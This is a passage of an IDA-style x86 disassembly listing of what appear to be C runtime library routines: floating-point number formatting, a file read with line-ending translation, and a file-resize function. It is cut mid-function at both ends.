mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40C440 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C470 proc near ; CODE XREF: sub_40B310+64Cp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov eax, off_4119D0
mov al, [eax]
mov [ebp+var_1], al
cmp [ebp+arg_C], 0
jg short loc_40C495
mov [ebp+arg_C], 1
mov [ebp+arg_8], offset dword_4101E0
loc_40C495: ; CODE XREF: sub_40C470+16j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_40C4C9
cmp al, 46h
jz short loc_40C4C9
cmp al, 67h
jz short loc_40C4AC
cmp al, 47h
jnz loc_40C713
loc_40C4AC: ; CODE XREF: sub_40C470+32j
mov ax, [ebp+arg_10]
cmp ax, 0FFFCh
jl loc_40C713
movsx eax, ax
mov edx, [ebp+arg_0]
cmp eax, [edx+2Ch]
jge loc_40C713
loc_40C4C9: ; CODE XREF: sub_40C470+2Aj
; sub_40C470+2Ej
add [ebp+arg_10], 1
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_40C4D9
cmp al, 47h
jnz short loc_40C514
loc_40C4D9: ; CODE XREF: sub_40C470+63j
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jnz short loc_40C4F7
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_40C4F7
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_40C4F7: ; CODE XREF: sub_40C470+72j
; sub_40C470+7Bj
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_10]
sub edx, ecx
mov [eax+2Ch], edx
test edx, edx
jge short loc_40C514
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_40C514: ; CODE XREF: sub_40C470+67j
; sub_40C470+98j
cmp [ebp+arg_10], 0
jg loc_40C5E0
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov byte ptr [eax+edx], 30h
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C546
test word ptr [eax+38h], 8
jz short loc_40C55E
loc_40C546: ; CODE XREF: sub_40C470+CCj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_40C55E: ; CODE XREF: sub_40C470+D4j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
neg edx
cmp [eax+2Ch], edx
jge short loc_40C578
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
neg eax
mov [ebp+arg_10], ax
loc_40C578: ; CODE XREF: sub_40C470+FAj
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
neg eax
mov [edx+20h], eax
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+2Ch]
add edx, ecx
mov [eax+2Ch], edx
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_40C5A9
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_40C5A9: ; CODE XREF: sub_40C470+12Dj
movsx eax, [ebp+arg_C]
mov edx, [ebp+arg_0]
mov [edx+24h], eax
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+28h], edx
jmp loc_40C905
; ---------------------------------------------------------------------------
loc_40C5E0: ; CODE XREF: sub_40C470+A9j
mov ax, [ebp+arg_10]
cmp [ebp+arg_C], ax
jge short loc_40C65A
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_10]
movsx ecx, [ebp+arg_C]
sub eax, ecx
mov [edx+20h], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C637
test word ptr [eax+38h], 8
jz short loc_40C64C
loc_40C637: ; CODE XREF: sub_40C470+1BDj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
inc dword ptr [eax+24h]
loc_40C64C: ; CODE XREF: sub_40C470+1C5j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
mov [eax+28h], edx
jmp loc_40C905
; ---------------------------------------------------------------------------
loc_40C65A: ; CODE XREF: sub_40C470+178j
movsx eax, [ebp+arg_10]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_10]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov ax, [ebp+arg_10]
sub [ebp+arg_C], ax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C69F
test word ptr [eax+38h], 8
jz short loc_40C6B7
loc_40C69F: ; CODE XREF: sub_40C470+225j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_40C6B7: ; CODE XREF: sub_40C470+22Dj
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp [eax+2Ch], edx
jge short loc_40C6CD
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_40C6CD: ; CODE XREF: sub_40C470+251j
movsx eax, [ebp+arg_C]
push eax
movsx eax, [ebp+arg_10]
mov edx, [ebp+arg_8]
add eax, edx
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
jmp loc_40C905
; ---------------------------------------------------------------------------
loc_40C713: ; CODE XREF: sub_40C470+36j
; sub_40C470+44j ...
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_40C71E
cmp al, 47h
jnz short loc_40C769
loc_40C71E: ; CODE XREF: sub_40C470+2A8j
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
cmp edx, [eax+2Ch]
jge short loc_40C73C
test word ptr [eax+38h], 8
jnz short loc_40C73C
mov edx, [ebp+arg_0]
movsx eax, [ebp+arg_C]
mov [edx+2Ch], eax
loc_40C73C: ; CODE XREF: sub_40C470+2B8j
; sub_40C470+2C0j
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
dec edx
mov [eax+2Ch], edx
test edx, edx
jge short loc_40C754
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 0
loc_40C754: ; CODE XREF: sub_40C470+2D8j
xor eax, eax
cmp [ebp+arg_4], 67h
setnz al
dec eax
and eax, 20h
add eax, 45h
mov [ebp+arg_4], al
jmp short loc_40C77F
; ---------------------------------------------------------------------------
loc_40C769: ; CODE XREF: sub_40C470+2ACj
cmp [ebp+arg_4], 61h
jnz short loc_40C775
mov [ebp+arg_4], 70h
jmp short loc_40C77F
; ---------------------------------------------------------------------------
loc_40C775: ; CODE XREF: sub_40C470+2FDj
cmp [ebp+arg_4], 41h
jnz short loc_40C77F
mov [ebp+arg_4], 50h
loc_40C77F: ; CODE XREF: sub_40C470+2F7j
; sub_40C470+303j ...
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov [ebp+arg_8], ecx
mov ecx, [ebp+arg_0]
mov ecx, [ecx+10h]
mov al, [eax]
mov [ecx+edx], al
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jg short loc_40C7B0
test word ptr [eax+38h], 8
jz short loc_40C7C8
loc_40C7B0: ; CODE XREF: sub_40C470+336j
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
lea ecx, [edx+1]
mov [eax+1Ch], ecx
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
mov cl, [ebp+var_1]
mov [eax+edx], cl
loc_40C7C8: ; CODE XREF: sub_40C470+33Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jle short loc_40C82B
mov ax, [ebp+arg_C]
dec ax
mov [ebp+arg_C], ax
mov edx, [ebp+arg_0]
movsx eax, ax
cmp [edx+2Ch], eax
jge short loc_40C7F0
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
mov [ebp+arg_C], ax
loc_40C7F0: ; CODE XREF: sub_40C470+374j
movsx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+arg_0]
movsx edx, [ebp+arg_C]
mov ecx, [eax+1Ch]
add edx, ecx
mov [eax+1Ch], edx
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
movsx ecx, [ebp+arg_C]
sub edx, ecx
mov [eax+20h], edx
loc_40C82B: ; CODE XREF: sub_40C470+35Fj
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
mov eax, [eax+10h]
add eax, edx
mov [ebp+arg_8], eax
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov dl, [ebp+arg_4]
mov [eax], dl
cmp [ebp+arg_10], 0
jl short loc_40C859
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Bh
jmp short loc_40C869
; ---------------------------------------------------------------------------
loc_40C859: ; CODE XREF: sub_40C470+3D9j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 2Dh
neg [ebp+arg_10]
loc_40C869: ; CODE XREF: sub_40C470+3E7j
mov [ebp+var_8], 0
jmp short loc_40C89B
; ---------------------------------------------------------------------------
loc_40C872: ; CODE XREF: sub_40C470+430j
push 0Ah
movsx eax, [ebp+arg_10]
push eax
call sub_40D270
add esp, 8
mov [ebp+var_1C], eax
mov [ebp+var_18], edx
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov [ebp+eax+var_12], dl
mov eax, [ebp+var_1C]
mov [ebp+arg_10], ax
inc [ebp+var_8]
loc_40C89B: ; CODE XREF: sub_40C470+400j
cmp [ebp+arg_10], 0
jg short loc_40C872
cmp [ebp+var_8], 2
jge short loc_40C8BF
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_40C8B3
cmp al, 45h
jnz short loc_40C8BF
loc_40C8B3: ; CODE XREF: sub_40C470+43Dj
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
loc_40C8BF: ; CODE XREF: sub_40C470+436j
; sub_40C470+441j
cmp [ebp+var_8], 0
jnz short loc_40C8EC
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov byte ptr [eax], 30h
jmp short loc_40C8EC
; ---------------------------------------------------------------------------
loc_40C8D3: ; CODE XREF: sub_40C470+480j
mov eax, [ebp+arg_8]
lea edx, [eax+1]
mov [ebp+arg_8], edx
mov edx, [ebp+var_8]
dec edx
mov [ebp+var_8], edx
mov dl, [ebp+edx+var_12]
add dl, 30h
mov [eax], dl
loc_40C8EC: ; CODE XREF: sub_40C470+453j
; sub_40C470+461j
cmp [ebp+var_8], 0
jg short loc_40C8D3
mov eax, [ebp+arg_0]
mov edx, [ebp+arg_8]
mov ecx, [eax+1Ch]
mov ebx, [eax+10h]
add ecx, ebx
sub edx, ecx
mov [eax+24h], edx
loc_40C905: ; CODE XREF: sub_40C470+16Bj
; sub_40C470+1E5j ...
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax+38h]
and eax, 14h
cmp eax, 10h
jnz short loc_40C948
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [eax+1Ch]
add edx, ecx
mov ecx, [eax+20h]
add edx, ecx
mov ecx, [eax+24h]
add edx, ecx
mov eax, [eax+28h]
add eax, edx
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+34h]
cmp [ebp+var_8], eax
jge short loc_40C948
mov eax, [ebp+arg_0]
mov edx, [eax+34h]
sub edx, [ebp+var_8]
mov [eax+18h], edx
loc_40C948: ; CODE XREF: sub_40C470+4A2j
; sub_40C470+4CAj
pop ebx
mov esp, ebp
pop ebp
retn
sub_40C470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C950 proc near ; CODE XREF: sub_40B9A0+348p
; DMN0:0040CCCBp
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
xor edi, edi
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
cmp [ebp+arg_8], 0
jz short loc_40C985
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 2
jz short loc_40C98C
loc_40C985: ; CODE XREF: sub_40C950+18j
xor eax, eax
jmp loc_40CC75
; ---------------------------------------------------------------------------
loc_40C98C: ; CODE XREF: sub_40C950+33j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 48h
jz short loc_40C9EE
cmp byte ptr [eax+5], 0Ah
jz short loc_40C9EE
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov edx, ebx
and edx, 1Fh
imul edx, 24h
mov ecx, ebx
sar ecx, 5
mov ecx, dword_413988[ecx*4]
mov dl, [ecx+edx+5]
mov [eax], dl
inc edi
dec [ebp+arg_8]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+5], 0Ah
loc_40C9EE: ; CODE XREF: sub_40C950+56j
; sub_40C950+5Cj
push 0
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+var_C]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18
test eax, eax
jnz short loc_40CA5E
call dword_411CE8
mov [ebp+var_10], eax
cmp eax, 5
jnz short loc_40CA3F
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_40CC75
; ---------------------------------------------------------------------------
loc_40CA3F: ; CODE XREF: sub_40C950+DAj
cmp [ebp+var_10], 6Dh
jnz short loc_40CA4C
xor eax, eax
jmp loc_40CC75
; ---------------------------------------------------------------------------
loc_40CA4C: ; CODE XREF: sub_40C950+F3j
mov eax, [ebp+var_10]
push eax
call sub_408300
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40CC75
; ---------------------------------------------------------------------------
loc_40CA5E: ; CODE XREF: sub_40C950+CCj
mov eax, [ebp+var_4]
add edi, eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 80h
jz loc_40CC73
cmp [ebp+var_4], 0
jz short loc_40CAAD
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0Ah
jnz short loc_40CAAD
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 4
jmp short loc_40CAC8
; ---------------------------------------------------------------------------
loc_40CAAD: ; CODE XREF: sub_40C950+136j
; sub_40C950+13Ej
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FBh
loc_40CAC8: ; CODE XREF: sub_40C950+15Bj
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov esi, eax
jmp loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CAD5: ; CODE XREF: sub_40C950+313j
cmp byte ptr [esi], 1Ah
jnz short loc_40CB19
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 40h
jnz loc_40CC69
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 2
jmp loc_40CC69
; ---------------------------------------------------------------------------
loc_40CB19: ; CODE XREF: sub_40C950+188j
cmp byte ptr [esi], 0Dh
jz short loc_40CB33
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CB33: ; CODE XREF: sub_40C950+1CCj
mov eax, [ebp+arg_4]
lea eax, [eax+edi-1]
cmp esi, eax
jnb short loc_40CB6D
cmp byte ptr [esi+1], 0Ah
jnz short loc_40CB58
add esi, 2
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CB58: ; CODE XREF: sub_40C950+1F2j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, esi
inc esi
mov dl, [edx]
mov [eax], dl
jmp loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CB6D: ; CODE XREF: sub_40C950+1ECj
inc esi
mov [ebp+var_10], 0
push 0
lea eax, [ebp+var_4]
push eax
push 1
lea eax, [ebp+var_11]
push eax
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
push eax
call dword_411E18
test eax, eax
jnz short loc_40CBAC
call dword_411CE8
mov [ebp+var_10], eax
loc_40CBAC: ; CODE XREF: sub_40C950+251j
cmp [ebp+var_10], 0
jnz short loc_40CBB8
cmp [ebp+var_4], 0
jnz short loc_40CBC9
loc_40CBB8: ; CODE XREF: sub_40C950+260j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
jmp loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CBC9: ; CODE XREF: sub_40C950+266j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 48h
jz short loc_40CC21
cmp [ebp+var_11], 0Ah
jnz short loc_40CBF8
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CBF8: ; CODE XREF: sub_40C950+298j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov cl, [ebp+var_11]
mov [edx+eax+5], cl
jmp short loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CC21: ; CODE XREF: sub_40C950+292j
mov eax, [ebp+arg_4]
cmp eax, [ebp+var_8]
jnz short loc_40CC3D
cmp [ebp+var_11], 0Ah
jnz short loc_40CC3D
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Ah
jmp short loc_40CC5C
; ---------------------------------------------------------------------------
loc_40CC3D: ; CODE XREF: sub_40C950+2D7j
; sub_40C950+2DDj
push 1
push 0FFFFFFFFh
push ebx
call sub_40BEB0
add esp, 0Ch
cmp [ebp+var_11], 0Ah
jz short loc_40CC5C
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov byte ptr [eax], 0Dh
loc_40CC5C: ; CODE XREF: sub_40C950+180j
; sub_40C950+1DEj ...
mov eax, [ebp+arg_4]
add eax, edi
cmp esi, eax
jb loc_40CAD5
loc_40CC69: ; CODE XREF: sub_40C950+1A3j
; sub_40C950+1C4j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov edi, eax
loc_40CC73: ; CODE XREF: sub_40C950+12Cj
mov eax, edi
loc_40CC75: ; CODE XREF: sub_40C950+37j
; sub_40C950+EAj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40C950 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_40CCAB
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40CCBB
loc_40CCAB: ; CODE XREF: DMN0:0040CC8Ej
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCBB: ; CODE XREF: DMN0:0040CCA9j
push ebx
call sub_40AD40
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_40C950
add esp, 0Ch
mov esi, eax
push ebx
call sub_40ADA0
pop ecx
mov eax, esi
loc_40CCDE: ; CODE XREF: DMN0:0040CCB9j
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
call sub_40CE60
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD10 proc near ; CODE XREF: sub_40B9A0+35Fp
; sub_40CE60+46p
var_1014 = dword ptr -1014h
var_1010 = byte ptr -1010h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1014h
call sub_4077F0
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov [ebp+var_4], 0
push 1
push 0
push ebx
call sub_40BEB0
add esp, 0Ch
mov [ebp+var_C], eax
cmp eax, 0FFFFFFFFh
jz short loc_40CD54
push 2
push 0
push ebx
call sub_40BEB0
add esp, 0Ch
mov [ebp+var_8], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40CD5C
loc_40CD54: ; CODE XREF: sub_40CD10+2Dj
or eax, 0FFFFFFFFh
jmp loc_40CE50
; ---------------------------------------------------------------------------
loc_40CD5C: ; CODE XREF: sub_40CD10+42j
mov eax, [ebp+arg_4]
mov esi, eax
sub esi, [ebp+var_8]
test esi, esi
jle loc_40CE01
lea edx, [ebp+var_1010]
mov ecx, 1000h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
push 8000h
push ebx
call sub_40D2A0
add esp, 8
mov [ebp+var_10], eax
loc_40CD92: ; CODE XREF: sub_40CD10+E0j
cmp esi, 1000h
jb short loc_40CDA6
mov [ebp+var_1014], 1000h
jmp short loc_40CDAE
; ---------------------------------------------------------------------------
loc_40CDA6: ; CODE XREF: sub_40CD10+88j
mov eax, esi
mov [ebp+var_1014], eax
loc_40CDAE: ; CODE XREF: sub_40CD10+94j
mov eax, [ebp+var_1014]
push eax
lea eax, [ebp+var_1010]
push eax
push ebx
call sub_40A730
add esp, 0Ch
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40CDE8
call dword_411CE8
cmp eax, 5
jnz short loc_40CDE2
call sub_408460
mov dword ptr [eax], 0Dh
loc_40CDE2: ; CODE XREF: sub_40CD10+C5j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_40CDF2
; ---------------------------------------------------------------------------
loc_40CDE8: ; CODE XREF: sub_40CD10+BAj
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg short loc_40CD92
loc_40CDF2: ; CODE XREF: sub_40CD10+D6j
mov eax, [ebp+var_10]
push eax
push ebx
call sub_40D2A0
add esp, 8
jmp short loc_40CE3E
; ---------------------------------------------------------------------------
loc_40CE01: ; CODE XREF: sub_40CD10+56j
test esi, esi
jge short loc_40CE3E
push 0
mov eax, [ebp+arg_4]
push eax
push ebx
call sub_40BEB0
add esp, 0Ch
push ebx
call sub_40AC20
pop ecx
push eax
call dword_411E1C
test eax, eax
setnz al
and eax, 1
dec eax
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40CE3E
call sub_408460
mov dword ptr [eax], 0Dh
loc_40CE3E: ; CODE XREF: sub_40CD10+EFj
; sub_40CD10+F3j ...
push 0
mov eax, [ebp+var_C]
push eax
push ebx
call sub_40BEB0
add esp, 0Ch
mov eax, [ebp+var_4]
loc_40CE50: ; CODE XREF: sub_40CD10+47j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40CD10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40CE60 proc near ; CODE XREF: DMN0:0040CCFBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_40CE89
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40CE99
loc_40CE89: ; CODE XREF: sub_40CE60+Cj
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40CEB9
; ---------------------------------------------------------------------------
loc_40CE99: ; CODE XREF: sub_40CE60+27j
push ebx
call sub_40AD40
pop ecx
mov eax, [esp+8+arg_4]
push eax
push ebx
call sub_40CD10
add esp, 8
mov esi, eax
push ebx
call sub_40ADA0
pop ecx
mov eax, esi
loc_40CEB9: ; CODE XREF: sub_40CE60+37j
pop esi
pop ebx
retn
sub_40CE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CEC0 proc near ; CODE XREF: sub_40BD80+EFp
; sub_40BD80+100p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
jmp loc_40CF7D
; ---------------------------------------------------------------------------
loc_40CED4: ; CODE XREF: sub_40CEC0+C0j
mov eax, [esi+18h]
cmp eax, [esi+10h]
ja short loc_40CEEF
push esi
call sub_408F60
pop ecx
test eax, eax
jge short loc_40CEEF
or eax, 0FFFFFFFFh
jmp loc_40CF9F
; ---------------------------------------------------------------------------
loc_40CEEF: ; CODE XREF: sub_40CEC0+1Aj
; sub_40CEC0+25j
test word ptr [esi], 400h
jz short loc_40CF06
push 0Ah
push ebx
call sub_40D3B0
add esp, 8
mov [ebp+var_C], eax
jmp short loc_40CF0D
; ---------------------------------------------------------------------------
loc_40CF06: ; CODE XREF: sub_40CEC0+34j
mov [ebp+var_C], 0
loc_40CF0D: ; CODE XREF: sub_40CEC0+44j
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
test eax, eax
jz short loc_40CF22
mov eax, [ebp+var_4]
sub eax, ebx
inc eax
mov [ebp+var_10], eax
jmp short loc_40CF31
; ---------------------------------------------------------------------------
loc_40CF22: ; CODE XREF: sub_40CEC0+55j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_40CF27: ; CODE XREF: sub_40CEC0+6Cj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_40CF27
mov [ebp+var_10], eax
